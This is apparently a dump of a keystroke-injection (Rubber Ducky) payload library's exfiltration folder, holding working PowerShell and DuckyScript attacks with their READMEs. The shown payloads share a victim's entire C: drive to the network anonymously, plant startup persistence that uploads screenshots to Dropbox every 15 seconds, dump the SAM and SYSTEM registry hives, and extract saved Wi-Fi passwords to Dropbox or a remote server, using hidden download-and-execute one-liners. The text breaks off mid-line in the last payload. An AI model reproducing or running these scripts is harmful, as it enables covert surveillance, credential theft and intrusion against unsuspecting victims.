    "content": "<img src=\"https://github.com/atomiczsec/My-Payloads/blob/main/Assets/lock.png\" width=\"200\">\n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Pwn+Drive!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Pwn-Drive\n\nA payload to share the victims \"C:\" drive to the network.\n\n## Description\n\nThis payload will share the entire victims \"C:\" drive to the entire network for further exploitation.\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Pwn-Drive/c.ps1",
    "content": "﻿#Pwn-Drive\r\n\r\n#Enable Network Discovery\r\nnetsh advfirewall firewall set rule group=”network discovery” new enable=yes\r\n\r\n#Enable File and Print\r\nnetsh firewall set service type=fileandprint mode=enable profile=all\r\n\r\n#Setting Registry Values for allowing access to drive without credentials\r\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name everyoneincludesanonymous -Value 1 -Force\r\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanManServer\\Parameters\\\" -Name restrictnullsessacces -Value 0 -Force\r\n\r\n#Sharing the Drive\r\nNew-SmbShare -Name \"Windows Update\" -Path \"C:\\\""
  },
  {
    "path": "payloads/library/exfiltration/Pwn-Drive/payload.txt",
    "content": "REM     Title: Pwn-Drive\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload will share the entire victims \"C:\" drive to the entire network for further exploitation.\r\n\r\nREM     Target: Windows 10\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Screen-Shock/I.bat",
    "content": "@echo off\r\npowershell -Command \"& {cd \"$env:userprofile\\AppData\\Roaming\"; powershell -w h -NoP -NonI -Ep Bypass -File \"c.ps1\"}\"\r\npause\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Screen-Shock/README.md",
    "content": "<img src=\"https://github.com/atomiczsec/My-Payloads/blob/main/Assets/screen.png\" width=\"200\">\n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+;Screen+Shock!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Screen-Shock\n\nThis payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)\n\n## Description\n\nThis payload uses iwr to download 2 files\n* I.bat\n* c.ps1\n\n**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup\n\n**c.ps1** will sit in AppData\\Roaming folder, taking a screenshot of all monitors every 15 seconds\n\nThen the contents will then be sent to the DropBox for viewing pleasure\n\n\n\n## Getting Started\n\n### Dependencies\n\n* Pastebin or other file sharing service, Dropbox\n* Windows 10\n* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Device will download both files and place them in proper directories to then run the script\n```\npowershell -w h -NoP -NonI -Ep Bypass \"echo (iwr PASTEBIN LINK FOR BAT).content > \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\l.bat\";echo (iwr PASTEBIN LINK FOR PS1).content > \"$env:APPDATA\\c.ps1\";powershell \"$env:APPDATA\\c.ps1\"\"\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here:\n\n[atomiczsec](https://github.com/atomiczsec)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Screen-Shock/c.ps1",
    "content": "function DropBox-Upload {\r\n\r\n[CmdletBinding()]\r\nparam (\r\n    \r\n[Parameter (Mandatory = $True, ValueFromPipeline = $True)]\r\n[Alias(\"f\")]\r\n[string]$SourceFilePath\r\n) \r\n$DropBoxAccessToken = \"YOUR-DROPBOX-TOKEN\"   # Replace with your DropBox Access Token\r\n$outputFile = Split-Path $SourceFilePath -leaf\r\n$TargetFilePath=\"/$outputFile\"\r\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\r\n$authorization = \"Bearer \" + $DropBoxAccessToken\r\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\r\n$headers.Add(\"Authorization\", $authorization)\r\n$headers.Add(\"Dropbox-API-Arg\", $arg)\r\n$headers.Add(\"Content-Type\", 'application/octet-stream')\r\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\r\n}\r\n\r\nwhile(1){\r\n\r\n  Add-Type -AssemblyName System.Windows.Forms,System.Drawing\r\n\r\n  $screens = [Windows.Forms.Screen]::AllScreens\r\n\r\n  $top    = ($screens.Bounds.Top    | Measure-Object -Minimum).Minimum\r\n  $left   = ($screens.Bounds.Left   | Measure-Object -Minimum).Minimum\r\n  $width  = ($screens.Bounds.Right  | Measure-Object -Maximum).Maximum\r\n  $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum\r\n\r\n  $bounds   = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)\r\n  $bmp      = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)\r\n  $graphics = [Drawing.Graphics]::FromImage($bmp)\r\n\r\n  $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)\r\n\r\n  $bmp.Save(\"$env:USERPROFILE\\AppData\\Local\\Temp\\$env:computername-Capture.png\")\r\n  $graphics.Dispose()\r\n  $bmp.Dispose()\r\n  \r\n  start-sleep -Seconds 15\r\n \"$env:USERPROFILE\\AppData\\Local\\Temp\\$env:computername-Capture.png\" | DropBox-Upload\r\n}\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Screen-Shock/payload.txt",
    "content": "REM     Title: Screen-Shock\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)\r\n\r\nREM     Target: Windows 10\r\n\r\nDELAY 2000\r\nGUI\r\nDELAY\r\nSTRING powershell -w h -NoP -NonI -Ep Bypass \"echo (iwr PASTEBIN LINK FOR BAT).content > \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\l.bat\";echo (iwr PASTEBIN LINK FOR PS1).content > \"$env:APPDATA\\c.ps1\";powershell \"$env:APPDATA\\c.ps1\"\" \r\nENTER\r\n\r\nREM     Remember to replace the link with your pastebin shared link for the intended files to download\r\nREM     Also remember to put in your discord webhook in c.ps1\r\nREM     For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH"
  },
  {
    "path": "payloads/library/exfiltration/Screen-Shock/placeholder",
    "content": "\n"
  },
  {
    "path": "payloads/library/exfiltration/Spotify-Spy/README.md",
    "content": "<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Spotify+Spy!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Spotify-Spy\n\nThis payload is meant to exfiltrate spotify usernames on the device. Some people are too afraid to ask for their spotify or playlist so here is a sneaky way to do so.\n\n\n## Description\n\nHave you ever been too afraid to ask your co-worker for what song that was or what playlist this is? Fear no more!! Spotify-Spy will grab their spotify username for you so you dont have to socially interact with anyone!\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\natomiczsec\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/exfiltration/Spotify-Spy/SS.ps1",
    "content": "#Spotify-Spy\r\n\r\n# See if file is a thing\r\nTest-Path -Path \"$env:APPDATA\\Spotify\\Users\"\r\n\r\n#Create varible for file name\r\n$F1 = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_spotify_users.txt\"\r\n\r\n# Gets the name of the spotify user\r\ncd \"$env:APPDATA\\Spotify\\Users\" \r\nGet-ChildItem > $F1\r\n\r\n# Copy Spotify User to Temp Directory to get sent to Dropbox\r\n\r\nCopy-Item \"$F1\" -Destination \"$env:tmp/$F1\" \r\n\r\n\r\nfunction DropBox-Upload {\r\n\r\n    [CmdletBinding()]\r\n    param (\r\n        \r\n    [Parameter (Mandatory = $True, ValueFromPipeline = $True)]\r\n    [Alias(\"f\")]\r\n    [string]$SourceFilePath\r\n    ) \r\n    $DropBoxAccessToken = \"YOUR-DROPBOX-ACCESS-TOKEN\"   # Replace with your DropBox Access Token\r\n    $outputFile = Split-Path $SourceFilePath -leaf\r\n    $TargetFilePath=\"/$outputFile\"\r\n    $arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\r\n    $authorization = \"Bearer \" + $DropBoxAccessToken\r\n    $headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\r\n    $headers.Add(\"Authorization\", $authorization)\r\n    $headers.Add(\"Dropbox-API-Arg\", $arg)\r\n    $headers.Add(\"Content-Type\", 'application/octet-stream')\r\n    Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\r\n    }\r\n\r\nDropBox-Upload -f \"$env:tmp/$F1\"\r\nrm $F1\r\n\r\n$done = New-Object -ComObject Wscript.Shell;$done.Popup(\"Driver Updated\",1)\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Spotify-Spy/payload.txt",
    "content": "REM     Title: Spotify-Spy\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload is meant to exfiltrate spotify usernames on the device. Some people are too afraid to ask for their spotify or playlist so here is a sneaky way to do so.\r\n\r\nREM     Target: Windows 10\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1\r\n"
  },
  {
    "path": "payloads/library/exfiltration/System-Stealer/payload.txt",
    "content": "REM TITLE System Stealer\nREM AUTHOR mavisinator30001\nREM DESCRIPTION Creates a file in the Duck called sam.save and system.save with encrypted system information in both\nREM DISCLAIMER Neither I, nor Hak5, condone any unethical hacking practices, whether taken from this payload or otherwise!\nREM DISCLAIMER This is for educational purposes ONLY\nDELAY 1000\nATTACKMODE HID STORAGE\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\nREM Change $DRIVELABEL to the storage label of your duck\nDEFINE #DRIVELABEL DUCKY\nIF ($_OS == WINDOWS) THEN\n    GUI r\n    DELAY 500\n    STRING powershell\n    DELAY 1000\n    CTRL-SHIFT-ENTER\n    DELAY 750\n    LEFT\n    ENTER\n    DELAY 1000\n    STRINGLN $DriveLetter = (Get-WmiObject -Query \"SELECT * FROM Win32_LogicalDisk WHERE VolumeName='#DRIVELABEL'\").DeviceID; Set-Variable -Name 'DriveLetter' -Value $DriveLetter -Scope Global; Write-Output $DriveLetter\n    DELAY 250\n    STRINGLN reg save HKLM\\sam $DriveLetter/sam.save\n    WAIT_FOR_STORAGE_ACTIVITY\n    WAIT_FOR_STORAGE_INACTIVITY\n    STRINGLN reg save HKLM\\system $DriveLetter/system.save\n    WAIT_FOR_STORAGE_ACTIVITY\n    WAIT_FOR_STORAGE_INACTIVITY\n    ALT F4\nELSE\n    ATTACKMODE OFF\n    STOP_PAYLOAD\nEND_IF\n"
  },
  {
    "path": "payloads/library/exfiltration/Tree_structure_of_the_operating_system/README.md",
    "content": "# Tree Structure Of The Operating System\n\nThis script allows the exfiltration of the structure of the files contained in a machine, through the use of the tree command in fact it is possible to know all the various links between files, folders and subfolders in a quick and graphically easy to understand way.\n\n**Category**: Exfiltration\n\n![](1.png)\n\n## Description\n\nThis script allows the exfiltration of the structure of the files contained in a machine, through the use of the tree command in fact it is possible to know all the various links between files, folders and subfolders in a quick and graphically easy to understand way.\n\nOpen a PowerShell and run the command `tree /f /a > out.txt` that permit to list the file name and not only the directories, using text characters instead of graphic characters to display rows linking subdirectories. Save all the output in the out.txt file and then send this file through Dropbox.\n\nI used the [DETECT_READY](https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready) extension.\n\n## Dependencies\n\n* Firefox must be installed\n\n## Settings\n\n- You must define your Dropbox accessToken or modify the exfiltration modality.\n\n    `DEFINE #DROPBOX_ACCESS_TOKEN example`\n\n- The path to check can be changed putting the full-path `tree <full-path> /f /a > out.txt`.\n\n    - `tree \\ /f /a > out.txt`\n    - `tree C:\\Users\\Aleff\\Documents /f /a > out.txt`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/alessandro_greco_aka_aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/instagram.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/exfiltration/Tree_structure_of_the_operating_system/payload.txt",
    "content": "REM ###########################################################\nREM #                                                         |\nREM # Title        : Tree Structure Of The Operating System   |\nREM # Author       : Aleff                                    |\nREM # Version      : 1.0                                      |\nREM # Category     : Exfiltration                             |\nREM # Target       : Windows 10-11                            |\nREM #                                                         |\nREM ###########################################################\n\nREM Requirements:\nREM     - Internet connection\n\nREM Set yout Dropbox access token\nDEFINE #DROPBOX_ACCESS_TOKEN example\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nGUI r\nDELAY 1000\nSTRINGLN PowerShell\nDELAY 1000\n\nREM Setting about exfiltration\nSTRINGLN_BLOCK\n    tree /f /a > out.txt\n    $filePath=\".\\out.txt\";\n    $accessToken=\"#DROPBOX_ACCESS_TOKEN\"\n    $authHeader = @{Authorization = \"Bearer $accessToken\"}\n    $dropboxFilePath = \"/out_exported.txt\"\n\n    $uploadUrl = \"https://content.dropboxapi.com/2/files/upload\"\n\n    $headers = @{}\n    $headers.Add(\"Authorization\", \"Bearer $accessToken\")\n    $headers.Add(\"Dropbox-API-Arg\", '{\"path\":\"' + $dropboxFilePath + '\",\"mode\":\"add\",\"autorename\":true,\"mute\":false}')\n    $headers.Add(\"Content-Type\", \"application/octet-stream\")\n\n    Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $fileContent; exit;\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/exfiltration/WIFIPASS-to-Dropbox/payload.txt",
    "content": "REM ph3llin's wifi-to-dropbox \nREM GRABS ALL WIFI PASSWORDS ON WINDOWS CREATES log.txt ON DESKTOP THEN UPLOADS TO YOUR DROPBOX MUST EDIT DROP BOX TOKEN BELOW\nDELAY 2000\nGUI r\nDELAY 200\nSTRING cmd\nENTER\nDELAY 200\nSTRING powershell\nENTER\nDELAY 200\nSTRING (netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | % {(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ SSID=$name;PASSWORD=$pass }} | Format-Table -AutoSize > $env:USERPROFILE\\Desktop\\log.txt\nDELAY 100\nENTER\nDELAY 100\nSTRING $targetPathAndFilename = ' \"/log.txt\" '\nENTER\nSTRING $arg = '{ \"path\": '+$targetpathAndFilename+', \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\nENTER\nREM go to \"https://www.dropbox.com/developers/apps/create?_tk=pilot_lp&_ad=ctabtn1&_camp=create \" create app and get token and put in place of \"PUTYOURDROPBOXTOKENHERE\" ** keep \"Bearer \"\nSTRING $authorization = \"Bearer PUTYOURDROPBOXTOKENHERE\"\nENTER\nSTRING $headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\nENTER\nSTRING $headers.Add(\"Authorization\", $authorization)\nENTER\nSTRING $headers.Add(\"Dropbox-API-Arg\", $arg)\nENTER\nSTRING $headers.Add(\"Content-Type\", 'application/octet-stream')\nENTER\nSTRING $response = Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $env:USERPROFILE\\Desktop\\log.txt -Headers $headers\nENTER\nDELAY 100\nREM bottom code with delete log.txt and exit powershell\nSTRING cd $env:USERPROFILE\\Desktop\nENTER\nDELAY 100\nSTRING del log.txt\nENTER\nDELAY 100\nSTRING exit\nENTER\nDELAY 100\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/WiFi-Passwords-Exfiltration-Via-SCP/Payload.txt",
    "content": "REM Title: WiFi Passwords Exfiltration via SCP\nREM Author: zb0r\nREM Version: 1.0\nREM Description: This script finds WiFi SSIDs and passwords on a Windows machine, saves them to a file, and sends the file to a VPS using SCP.\nREM You need a VPS to use this script. Replace the #VPS_USER with your VPS username, #VPS_PASS with your VPS password, and #VPS_IP with your VPS IP address.\n\nREM Passive Windows Detection Extension\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nDEFINE #VPS_IP 22.22.22.22\nDEFINE #VPS_USER testuser\nDEFINE #VPS_PASS testpassword\n\nREM Open PowerShell as admin\nGUI r\nDELAY 500\nSTRING powershell\nCTRL SHIFT ENTER\nDELAY 1000\nLEFT\nDELAY 500\nENTER\nDELAY 500\n\nREM Find WiFi profiles and passwords\nSTRINGLN $profiles = (netsh wlan show profiles) | Select-String \"All User Profile\" | ForEach-Object { $_ -replace \"    All User Profile     : \", \"\" } | ForEach-Object { $_.Trim() }\nDELAY 500\n\nSTRINGLN $wifiInfo = @()\nDELAY 500\n\nSTRINGLN foreach ($profile in $profiles) { $profileName = $profile; $profileInfo = (netsh wlan show profile name=$profile 